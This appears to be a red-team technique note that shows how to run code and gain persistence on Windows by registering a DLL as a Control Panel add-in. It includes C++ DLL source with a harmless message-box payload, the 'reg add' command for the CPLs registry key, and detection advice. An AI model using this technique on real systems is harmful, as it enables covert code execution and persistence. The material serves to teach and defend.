Code Execution through Control Panel Add-ins

It's possible to force explorer.exe to load your DLL that is compiled as a Control Panel Item and is registered as a Control Panel Add-in.

This technique could also be considered for persistence.

Execution

Let's compile our control panel item (which is a simple DLL with an exported function Cplapplet) from the below code:

#include <Windows.h>
#include "pch.h"

//Cplapplet
extern "C" __declspec(dllexport) LONG Cplapplet(
    HWND hwndCpl,
    UINT msg,
    LPARAM lParam1,
    LPARAM lParam2
)
{
    MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0);
    return 1;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        Cplapplet(NULL, NULL, NULL, NULL);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Let's now register our control panel item as an add-in (defenders beware of these registry modifications):

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs" /v spotless /d "C:\labs\cplAddin\cplAddin\x64\Release\cplAddin2.dll" /f

Now, whenever the Control Panel is opened, our DLL will be injected into explorer.exe and our code will execute:

Below shows that our DLL is injected into explorer.exe:

Detection

• Look for modifications in the following registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs

• Look for / prevent DLLs from loading from unsecure locations

References

https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf